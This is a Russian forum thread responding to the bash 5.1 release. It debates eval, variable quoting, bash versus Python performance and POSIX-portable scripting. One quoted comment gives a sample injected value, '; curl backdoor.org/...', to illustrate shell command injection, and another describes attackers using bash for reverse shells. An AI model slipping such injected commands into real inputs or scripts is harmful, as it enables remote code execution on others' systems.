  • 3.52, Аноним (230), 13:49, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    > часто переменая может стать командой (если в неё запишут "; curl backdoor.org/...".

    Это от криворукости. Разыменование переменной вне двойных кавычек бывает нужно крайне редко и только в тех случаях, когда ты сам эту переменную определил.

     
     
  • 4.59, Аноним (16), 14:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Зато eval нужен очень часто, и ничего ты с этим не сделаешь.
     
     
  • 5.74, Аноним (70), 14:30, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    нет не нужен
     
     
  • 6.75, Аноним (16), 14:34, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > нет не нужен

    Наверно твои скрипты совершенно неконфигурируемая лапша из одного харкода, тогда конечно. При определённой сложности скриптов возникает желание предоставить пользователю возможность конфигурировать части логики в своём конфигурационном файле (а заодно избавиться от необходимости постоянно править хардкод). При том хочется его не насиловать его лишний раз, так что да, очень даже нужен.

     
     
  • 7.77, Аноним (16), 14:39, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А, ещё eval на хештейблы натравливать очень удобно. Хештейблы на порядки удобней альтернатив, особенно когда у тебя неизвестно число параметров. Держать десятки списков в памяти, чтобы отказаться от хэштейблов? Ну, удачи это потом сопровождать.
     
     
  • 8.105, InuYasha (??), 16:03, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Ага, заскриптуй там миллион кавычек в какой-нибудь ssh -t myserver ass sudo wt... текст свёрнут, показать
     
     
  • 9.115, Аноним (230), 16:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    В скрипте такого не пишут, в интерактиве одной строкой 8212 тоже Нет, мы не ... текст свёрнут, показать
     
     
  • 10.255, InuYasha (??), 12:20, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ну, расскажи, чем вы отправляете команды на сервер Ансибл-дством ... текст свёрнут, показать
     
  • 5.79, Аноним (230), 14:42, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    > eval нужен очень часто

    Пишу много скриптов и со всей ответственностью могу сказать, что eval нужен крайне редко. Скорее всего, ты что-то не осилил и сильно усложняешь решение своих задач, если пользуешься им часто.

     
     
  • 6.81, Аноним (16), 14:52, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    Редко не редко, примерно в 1 из 10 случаев без него никак. Или как, но в 1000 раз сложнее и запутанее. Другое дело, что можно и взять питон. И использовать eval уже в нём, ахаха! Ну там ast.literal_eval есть что всё же получше. Да и в целом eval в питоне нужен примерно никогда, а вот в баше без него просто никуда. Вообще все динамические хэштейблы, массивы, переменные это всё eval будет.
     
     
  • 7.89, Аноним (230), 15:07, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > примерно в 1 из 10 случаев без него никак

    У меня другая статистика. Приведи пример, что ли. (Хешами и массивами не пользуюсь, ибо переносимость нужна.)

     
     
  • 8.116, Аноним (16), 16:29, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да банально eval declare -A ep mediainfo filename --Output Video Encod... текст свёрнут, показать
     
     
  • 9.168, Аноним (230), 20:13, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Это не к чёрту переносимость , это к чёрту читаемость Ты бы tr с sed подучил... текст свёрнут, показать
     
     
  • 10.176, Аноним (16), 20:28, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Зачем мне его сокращать Ты всерьёз полагаешь, что так написано не намерено Нес... текст свёрнут, показать
     
     
  • 11.187, Аноним (230), 21:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Если строка такой длины появляется в коде на каком бы то ни было языке намеренно... текст свёрнут, показать
     
     
  • 12.193, Аноним (16), 21:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это моё дело, какой длины у меня строки, и ты лезешь не в своё дело Это далеко ... текст свёрнут, показать
     
     
  • 13.206, Аноним (230), 22:33, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты первый полез не в свой дело, рассказывая всем, как им сильно нужен eval То е... текст свёрнут, показать
     
     
  • 14.213, Аноним (16), 23:02, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Я даже привёл пример где он нужен и незаменим Гуляй, Вася ... текст свёрнут, показать
     
     
  • 15.226, Аноним (230), 01:12, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Незаменим Правда, что ль Это тебе от недостатка фантазии так кажется Тут и хе... текст свёрнут, показать
     
     
  • 16.228, Аноним (16), 01:22, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Где ассоциативный массив в этом примере ... текст свёрнут, показать
     
     
  • 17.232, Аноним (230), 01:34, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Нет его, прикинь POSIX же Но эмулируется он вполне успешно ... текст свёрнут, показать
     
  • 16.229, Аноним (16), 01:23, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты вообще представляешь, как будет выглядеть эта лапша с getval ... текст свёрнут, показать
     
  • 16.231, Аноним (16), 01:31, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ох у меня полыхнуло, ты мне предложил словарь где я могу итерировать по ключам и... текст свёрнут, показать
     
     
  • 17.234, Аноним (230), 01:51, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Гори-гори-ясно Чтобы-не-погасло Так и тут итерируй 8212 не хочу CODE for... большой текст свёрнут, показать
     
     
  • 18.286, Аноним (16), 04:32, 11/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Всё ещё костыли, ужасные костыли, мусор, никуда не годится Тот же tr заменяется... текст свёрнут, показать
     
     
  • 19.293, Аноним (230), 01:35, 15/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да, костыли Но и eval костыль, и башизмы твои 8212 костыли Просто признай, ... текст свёрнут, показать
     
     
  • 20.294, Аноним (16), 10:04, 15/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Всё же получше Баш пытается изображать язык программирования Вот я сейчас беру... текст свёрнут, показать
     
  • 10.178, Аноним (16), 20:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    зато мне нет... текст свёрнут, показать
     
  • 9.169, Аноним (230), 20:17, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да, я отвлёкся Без eval тут обойтись сложно, но я бы в принципе не стал решать ... текст свёрнут, показать
     
     
  • 10.179, Аноним (16), 20:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    В баше с хэштейблами вполне норм скриптуется такая логика, без них не норм ... текст свёрнут, показать
     
  • 7.134, Урри (ok), 17:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Как и аноним выше пишу много скриптов. Анализ поступающих данных с выводом через gnuplot, например. Практически каждый день приходится что-то новое скриптовать для аналитиков.

    За последние года два ни разу не использовал eval.

     
     
  • 8.143, Аноним (16), 17:59, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Скрипты бывают разные Если ты не пишешь интересной логики и динамических вычисл... текст свёрнут, показать
     
     
  • 9.160, VINRARUS (ok), 19:45, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Другими словами говнокодинг всегда кажется быстрее Делал парсер на eval, мне ук... текст свёрнут, показать
     
     
  • 10.167, Аноним (16), 20:13, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Но стал ли код быстрее Или понятнее Если замерить, или хотя бы посчитать колич... текст свёрнут, показать
     
     
  • 11.185, VINRARUS (ok), 20:57, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Сам суди https forum motofan ru index php s showtopic 163337 view findpost ... текст свёрнут, показать
     
     
  • 12.200, Аноним (16), 22:23, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Да, eval ради eval это тоже такое, просто есть ситуации где без него объективно ... текст свёрнут, показать
     
     
  • 13.204, VINRARUS (ok), 22:29, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Можна короткий пример с коротким описанием ... текст свёрнут, показать
     
  • 9.171, Аноним (230), 20:20, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Если ты пишешь интересную логику и динамические вычисления, для которых bash сли... текст свёрнут, показать
     
     
  • 10.182, Аноним (16), 20:40, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Потому что могу Как минимум интересно заменять по-максимуму привычную поизикс с... текст свёрнут, показать
     
  • 5.107, Аноним (103), 16:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Зато eval нужен очень часто, и ничего ты с этим не сделаешь.

    очень даже сделаешь
    eval ${VARNAME@Q}

     
     
  • 6.119, Аноним (16), 16:35, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Но я так и не придумал, где это можно применить. Я пытался, честно. Разве что выводить имена файлов с \r. Мне кажется, ты не понимаешь, что это, и для чего.
     
     
  • 7.195, Аноним (195), 21:40, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    это везде можно применить. просто предварительно загоняй строку для eval в переменную, а потом уже ее eval-ь с этим экспандером. eval в принципе страшен и уязвим только тогда, когда ему можно подсунуть невалидированные данные от пользователя. а данная конструкция позволяет без лишнего гемора отсечь всякие инджекшены
     
  • 4.248, Аноним (248), 06:40, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    У вас уже есть идеальные программисты, которые никогда не ошибаются? В противном случае, использовать язык-ногострел себе дороже.
     
     
  • 5.258, Аноним (230), 14:00, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    У тебя уже есть идеальный язык, который не позволяет выстрелить себе в ногу?
     
     
  • 6.268, Аноним (268), 15:19, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не позволяет и поощряет это очень разные вещи.
     
  • 2.46, Аноним (16), 13:36, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –4 +/
    До тех пор пока ты не начнёшь ежесекундно спамить тысячами процессов, да и с мультипоточностью пострадать придётся больше чем в питоне (там гил и гц мешают счастью).
     
     
  • 3.61, Аноним (32), 14:08, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине
     
     
  • 4.63, Аноним (16), 14:16, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Для этого есть утилиты xargs и parallel, запускал больше тыщи на малине

    Сколько тысяч процессов при этом вызывал каждый из тысячи процессов? А главное, сколько там было тредов? Когда большая часть времени исполнения уходит на паразитную нагрузку и "бесполезный" бойлерплейт (это что касается xargs и parallel), это всё же ощутимо.

     
     
  • 5.65, Аноним (32), 14:19, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    >Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?

    А питон так умеет?

     
     
  • 6.72, Аноним (16), 14:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >>Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?
    > А питон так умеет?

    С процессами без проблем, параллелится на сотни (это то что я проверял). С тредами потолок будет раньше, совсем плохо будет если использовать pure python батарейки — там вообще не параллелится практически. Дело как раз в том, что питону не придётся нонстоп вызывать сотни-тысячи программ и ждать их завершения, он сам всё может. А структуры его куда более дружелюбны для данных, вон в шелле даже многомерного массива нет и приходится городить очень неприятные конструкции не эффективные по памяти.

     
     
  • 7.135, Урри (ok), 17:23, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ну вот питон - сотни, а баш выше - тысячи. Комментарии, как говорится, излишни.
     
     
  • 8.142, Аноним (16), 17:49, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Проблема в том, что аналогичный код на баше захлебнётся много раньше, накладные ... текст свёрнут, показать
     
  • 8.150, Аноним (16), 18:32, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    А кстати, мне тут понадобилось сложить пару чисел в баше Ну такое, гигабайты чи... текст свёрнут, показать
     
     
  • 9.263, Аноним (263), 14:37, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Числодробилки никто не пишет на интерпретаторах Если брать интерпретатор, то са... текст свёрнут, показать
     
     
  • 10.269, Аноним (16), 15:42, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А почему я не могу делать это на интерпретаторе Да я протупил, за доли секунды ... текст свёрнут, показать
     
  • 5.265, Аноним (263), 14:43, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >Сколько тысяч процессов при этом вызывал каждый из тысячи процессов?

    FYI https://github.com/gh0stwizard/yafb Там две ветки с разным подходом.

    Твой вопрос смешной, т.к. 2000 процессов, которые тупо складывают одно число убивают (ну раньше убивали) линукс полностью. Если не понял в чем суть вопроса, то ты make -j 10000 делаешь или как велят умные дяди make -j {кол-во ядер + 1}? Ок, даже если ты чутка в теме и скажешь, что это из-за disk i/o, то смотри линк выше, там нет никакого disk i/o.

     
     
  • 6.270, Аноним (16), 15:47, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Не делай вид, что не понял, о чём я. Никто не говорил о единовременном форкании, только о последовательном. Особенно ощутимо это в венде конечно, в линуксе с некоторых пор получше, но тоже не сахар.
     
  • 3.64, Аноним (32), 14:17, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ещё бывает сами утилиты поддерживают параллельность, например sort и curl.
     
  • 2.130, Нанобот (ok), 17:16, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    неправда. баш тормознутее питона на порядок. или на два порядка (не помню, давно мерял)
     
     
  • 3.161, VINRARUS (ok), 19:48, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Сравни скорость утиилты gsed с, прости Господи, питоном.
    Именно про bunutils+sh идёт речь.
     
     
  • 4.173, Аноним (16), 20:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Если про что и говорить, то это в питоне подозрительно тормозной os.scandir, find в 100 раз быстрее (на холодную так и вообще). А os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не баш, а си, сам баж тормозной и питон чаще всего быстрее чем вызов сишной утилиты из баша (миллион раз на каждое слово, например).
     
     
  • 5.189, VINRARUS (ok), 21:11, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Если про что и говорить, то это в питоне подозрительно тормозной os.scandir,
    > find в 100 раз быстрее (на холодную так и вообще). А
    > os.listdir ещё хуже. Но это некорректно всё же, мы сравниваем не
    > баш, а си, сам баж тормозной и питон чаще всего быстрее
    > чем вызов сишной утилиты из баша (миллион раз на каждое слово,
    > например).

    а интерпретатор питона на чом написан?

     
     
  • 6.190, Аноним (16), 21:26, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Вроблема в "вызов", если бы сишный код можно было подключить в баш через ффи и не спамить процессами, он работал бы так же быстро, как и в питоне.
     
     
  • 7.197, VINRARUS (ok), 21:48, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Вроблема в "вызов", если бы сишный код можно было подключить в баш
    > через ффи и не спамить процессами, он работал бы так же
    > быстро, как и в питоне.

    Я это давно понял, тормозной Linux всё портит,  по этому практикую замену простых внешних утилит шеловским кодом, например тут:
    https://forum.motofan.ru/index.php?s=&showtopic=162200&view=findpost&p=1789741
    https://forum.motofan.ru/index.php?s=&showtopic=162200&view=findpost&p=1791100

     
  • 6.191, Аноним (16), 21:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А, ну и питон написан на питоне. И местами на си.
     
  • 6.192, Аноним (16), 21:29, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Интерпретатор там си (или уже плюсы не помню), только это отношения никакого не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.
     
     
  • 7.194, VINRARUS (ok), 21:39, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Интерпретатор там си (или уже плюсы не помню), только это отношения никакого
    > не имеет. Получается, мы сравниваем интерпретируемый код с нейтивом.

    Дя, когда shell не может то звёт своих нативный дружков. :)

     
  • 4.174, Аноним (16), 20:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Регулярки в питоне кстати сишные, и более простые чем расширенный сед (а не расширенный оставьте себе). Ты точно меряешь корректно?
     
     
  • 5.209, Аноним (230), 22:47, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Регулярки в питоне кстати сишные

    В Си есть регулярки? Вот это да!

    > и более простые чем расширенный сед

    Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).

     
     
  • 6.212, Аноним (16), 22:53, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >В Си есть регулярки? Вот это да!

    А на каком языке, по-твоему, написана libpcre? Конечно, есть, не всё же плюсами одними (плюсовая бтв понерфленная).

    >Вообще-то нет. Там вариации перлового синтаксиса, который куда навороченнее любых POSIX-регулярок (и любых ДКА вообще).

    И даже atomic group нет! Фи.

     
     
  • 7.239, Аноним (230), 02:16, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Регулярки в питоне не более сишные чем весь питон, как бы. (И не менее, да.)

    > И даже atomic group нет!

    Как будто в седе есть. Там даже незахватывающей группировки нет.

     
     
  • 8.243, Аноним (16), 02:31, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Там есть pure python батарейки и есть сишные батарейки с сишной же производитель... текст свёрнут, показать
     
     
  • 9.244, Аноним (16), 02:32, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Хотя он может и взаимодествовать с интерпретатором А ещё он может освобождать g... текст свёрнут, показать
     
  • 2.159, VINRARUS (ok), 19:38, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Баш вместе с линукс утилитками производительнее питона получается. И времени на код
    > меньше уходит.

    А даш в большых скриптах в разы быстрее баша может быть, так может стоит с колеса вынуть ветку?

     
  • 2.220, Аноним (263), 00:36, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты близок к просветлению. Осталось понять, что есть awk.
     
     
  • 3.272, Аноним (230), 17:50, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    А потом — то есть perl. А потом — что есть python, и дальше по кругу.
     
     
  • 4.277, Аноним (263), 21:58, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >А потом — то есть perl.

    Как перловик со стажем, ответственно заявляю, что бородатые дядьки, которые говорили, что awk решает 95% задач perl, были абсолютно правы. Да, на перле можно делать что-то сложнее, но в контексте скриптов, не _приложений_, awk намного удобнее, т.к. а) есть во всех системах б) стандартизированный (не нужно трахатся с вопросом а есть в _этой_ системе такой-то пакет) в) компактный г) законченный. Если вопрос стоит на чем писать _приложение_, то вариантов масса, факторов влияющих на решение задачи масса и решений масса. Опять же, из личного опыта, приложение писать скорее всего придется на чем-то сложнее чем awk, включая perl.

     

     ....большая нить свёрнута, показать (78)

  • 1.43, Аноним (43), 13:26, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать скрипты которые будут одинаково работать и под башем, и под zsh, и под чем угодно еще
     
     
  • 2.53, Аноним (230), 13:54, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Читай стандарт, тестируй скрипты в разных шеллах (как минимум dash и ksh). Самый надёжный способ.
    Если для начального изучения, то на русском выходила книжка Кочана и Вуда, может быть, ещё найдёшь в продаже.
     
     
  • 3.54, Аноним (230), 13:59, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    > книжка Кочана и Вуда

    ISBN 978-5-9909445-3-4

     
  • 2.87, вынь любит вас во все девайсы (?), 15:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >> которые будут одинаково работать и под башем

    Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.

     
     
  • 3.90, Аноним (230), 15:10, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Смысл в этом тот, что написанный тобой скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет. Ну если ты программист, то есть. Если админ, то смысла, может быть, и нет, тебе виднее.
     
     
  • 4.96, вынь любит вас во все девайсы (?), 15:39, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Это понятно, насколько оно будет в итоге работать как надо, вот вопрос. Тот же баш не совместим между собой в зависимости от версии. Т.е. что лучше универсальный скрипт, возможно вызывающий проблемы или нативный баш, который можно доставить с большинстве случаев. Получается нужно учитывать зоопарк шелов и их версий, нет? А сложность скрипта и накладываемые ограничения?
    Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно. В общем, филькин труд.
     
     
  • 5.108, InuYasha (??), 16:06, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Мой пример: на телевизоре нет bash, только sh. От линукса там практически только ядро. То же самое на андроеде, особенно в recovery. На самом деле, только в настольно-серверные Люляксы ваш баш и завезли. А больше - никуда.
     
     
  • 6.111, вынь любит вас во все девайсы (?), 16:15, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +1 +/
    Баш он не наш, а общий. В твоем случае не логично ли на sh и написать, чисто под девайсы?
     
  • 6.138, Урри (ok), 17:27, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Под ведроид есть фришный termux с башем и терминалами. Ставь и не парься.
     
     
  • 7.253, InuYasha (??), 11:55, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Под ведроид есть фришный termux с башем и терминалами. Ставь и не
    > парься.

    Ствалю. Только чем он при внешнем подключении поможет?

     
  • 5.120, Аноним (230), 16:36, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > универсальный скрипт, возможно вызывающий проблемы

    Если он вызывает проблемы, он не универсальный.

    > Получается нужно учитывать зоопарк шелов и их версий, нет?

    Нет. Как правило, достаточно придерживаться стандарта и не использовать то, что выходит за его рамки.

    > А сложность скрипта и накладываемые ограничения?

    Если скрипт получается слишком сложным, его лучше писать на другом языке. Шелл хорош для сравнительно простых вещей.

    > Я бы выбрал второе, а те места куда баш никак, но очень надо, то заточил бы отдельно.

    Ну, то есть, ты не программист, о чём я и писал. Программист зачастую знает очень мало о целевой системе и не имеет возможности повлиять на состав установленного на ней софта. Для контролируемых тобой систем, безусловно, можешь использовать, что тебе вздумается.

     
  • 4.165, nebularia (ok), 20:01, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > скрипт должен работать независимо от того, установлен в системе (не твоей) bash или нет.

    Напрямую зависит от назначения скрипта. Если решает десктопные задачи, то баш там будет с вероятностью 99%. Оставшийся процент поставит, не облезет. Если потенциально возможно использование на серверах или в эмбеде, тогда да.

     
  • 3.110, псевдонимус (?), 16:14, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    За башизмы нужно яйца отрывать по самую шею.
     
     
  • 4.117, вынь любит вас во все девайсы (?), 16:33, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Отрывать надо разрабу, когда происходит "опаньки" от желания угодить всем.
    Башизмы никого не интересуют, и в первую очередь пользователей.
     
  • 4.196, Аноним (195), 21:42, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    ну оторви, попробуй
     
     
  • 5.199, псевдонимус (?), 22:05, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    У вас, шапкорабов, уже и отрывать нечего. Все уже оторвано до нас.
     
     
  • 6.201, Аноним (195), 22:24, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    метлу привяжи, когда с lfs-ником базаришь
     
     
  • 7.210, псевдонимус (?), 22:47, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    С долбо..ом что-ли?
     
  • 3.122, псевдонимус (?), 16:41, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    >>> которые будут одинаково работать и под башем
    > Какой в этом смысл, когда баш есть везде, но может быть не
    > установлен по умолчанию.

    Так он есть везде или не установлен?

     
     
  • 4.236, вынь любит вас во все девайсы (?), 01:57, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Да.
     
     
  • 5.246, псевдонимус (?), 05:10, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Да.

    Есть везде, но его нет. Шелл Шредингера.

     
  • 3.216, OpenEcho (?), 23:37, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –2 +/
    > Какой в этом смысл, когда баш есть везде, но может быть не установлен по умолчанию.

    Смысл очень простой -> безопасность.
    Первое, что чаще всего делают взломщики используя зиро-дэй дыру, это запуск баша в режиме реверс консоли (т.к. баш спокойно говорит на языках TCP/UDP) и имееют по полной удаленную систему, которая как правило даже не заметит в логах конекты из баша. Поэтому уважающие свое время админы делают chmod 750 root:root /bin/bash /bin/gawk ... , a юзеров приучают быть ПОСИКС совместимыми разрешая им максимум /bin/sh

     
  • 2.106, InuYasha (??), 16:04, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    http://tldp.org/LDP/Bash-Beginners-Guide/html/index.html
    там вроде были оговорки, что в sh работает, а что - нет.
     
  • 2.113, samsamy4 (ok), 16:22, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Пиши скрипты на dash. Он максимально POSIX-совместимый. Ман у него маленький, вполне можно за пару часов освоить.
     
     
  • 3.163, VINRARUS (ok), 19:56, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Тогда уже на ash, в идеале busybox ash.
    Вот на днях столкнулся с dash несовместимостью: https://forum.motofan.ru/index.php?s=&showtopic=162200&view=findpost&p=1793813
     
     
  • 4.177, Аноним (230), 20:29, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых, dash — урезанный форк ash, так что баги у них вполне могут быть общие. В-третьих, если баг и был, из твоих же слов следует, что он давно исправлен.
     
     
  • 5.181, VINRARUS (ok), 20:39, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > Во-первых, что-то странное ты там описал. Слабо верится в такое поведение. Во-вторых,
    > dash — урезанный форк ash, так что баги у них вполне
    > могут быть общие. В-третьих, если баг и был, из твоих же
    > слов следует, что он давно исправлен.

    Мне тоже было неимоверно сложно в это поверить — больше года не верил пока не начал раскопки.
    dash имеет сообщение о завершении фонового процеса, а busybox ash нет.
    И да, исправлено костылём в скрипте всего лиш.
    ПС: разве ash развивает щас кто то?

     
  • 2.162, VINRARUS (ok), 19:51, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    > ребят, а где можно почитать гайды по posix-shell? ну т.е чтобы писать
    > скрипты которые будут одинаково работать и под башем, и под zsh,
    > и под чем угодно еще

    Я тут начинал: https://forum.motofan.ru/index.php?showtopic=162200 =)

     
  • 2.172, Аноним (170), 20:21, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –1 +/
    Берёшь стандарт POSIX и читаешь. Он учится полностью за один вечер.
     
  • 2.183, Аноним (183), 20:41, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    https://pubs.opengroup.org/onlinepubs/9699919799/utilities/V3_chap02.html
     
  • 2.221, Аноним (263), 00:40, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Правильно будет сказать, что есть (ba)sh и есть ksh. Обычный sh почти во всех линуксах. На бсд-лайк системах (особенно на солярке) в системе только ksh. Я лично сам пишу под mksh, который как бы из мира ksh, но очень мнго взял из sh. При этом по скорости опережает здесь рекламируемый dash.
     
     
  • 3.264, Аноним (230), 14:42, 09/12/2020 [^] [^^] [^^^] [ответить]  
  • +/
    Ты бредишь. Классический sh — это Борн шелл. И ksh к нему намного ближе, чем нынешний bash. Но все они из одной оперы, дугой лагерь — это csh и его вариации, столь любимые в FreeBSD.
     

     ....большая нить свёрнута, показать (31)

  • 1.47, Иваня (?), 13:38, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • –4 +/
    крут, подскажите плз как накатить эту версию на убунту 18 :/
     
     
  • 2.104, Led (ok), 16:01, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +8 +/
    Да ты уже и так накатил...
     
  • 2.132, Нанобот (ok), 17:18, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +4 +/
    совсем линуксоиды деградировали...

    wget https://ftp-gnu-org.ip-connect.vn.ua/bash/bash-5.1.tar.gz
    tar xzvf bash-5.1.tar.gz
    cd bash-5.1
    ./configure
    make
    make install

     
     
  • 3.164, VINRARUS (ok), 19:58, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • –3 +/
    Это ж убунтята, они без соски и диск не разметят.
     

  • 1.57, YetAnotherOnanym (ok), 14:05, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +/
    Понимаю, что выгляжу ретроградом, но весь этот улучшайзинг чреват обильными матюками, если в хозяйстве имеются машины с разными версиями скорлупы.
     
     
  • 2.62, Аноним (230), 14:14, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +2 +/
    Бери пример с анонима выше, изучай POSIX shell.
     

  • 1.86, псевдонимус (?), 14:59, 08/12/2020 [ответить] [﹢﹢﹢] [ · · · ]  
  • +4 +/
    Страшный сон системдунов зарелизился.
     
     
  • 2.99, вынь любит вас во все девайсы (?), 15:51, 08/12/2020 [^] [^^] [^^^] [ответить]  
  • +3 +/
    Системда работает крайне стабильно.
    Постгрес упал, системктл показывает, что процесс активен и не может его рестартовать.
    И такая радость в LTS дистрах.
     
     
